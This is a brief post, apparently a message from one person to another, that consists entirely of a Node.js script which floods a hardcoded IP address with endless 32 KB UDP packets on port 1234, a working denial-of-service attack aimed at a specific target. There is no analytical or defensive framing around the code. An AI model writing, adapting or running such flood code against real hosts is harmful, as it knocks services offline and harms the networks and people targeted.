Licson Lee says to YSITD
const dgram = require('dgram'); const socket = dgram.createSocket('udp4'); const buffer = new Buffer((new Uint8Array(32768)).fill(0x7f)); const ip = '36.231.143.238'; const flood = function(){ socket.send(buffer, 0, 32768, 1234, ip, function(e){ console.log('Error: ', e); flood(); }); process.nextTick(function(){ flood(); }); }; flood();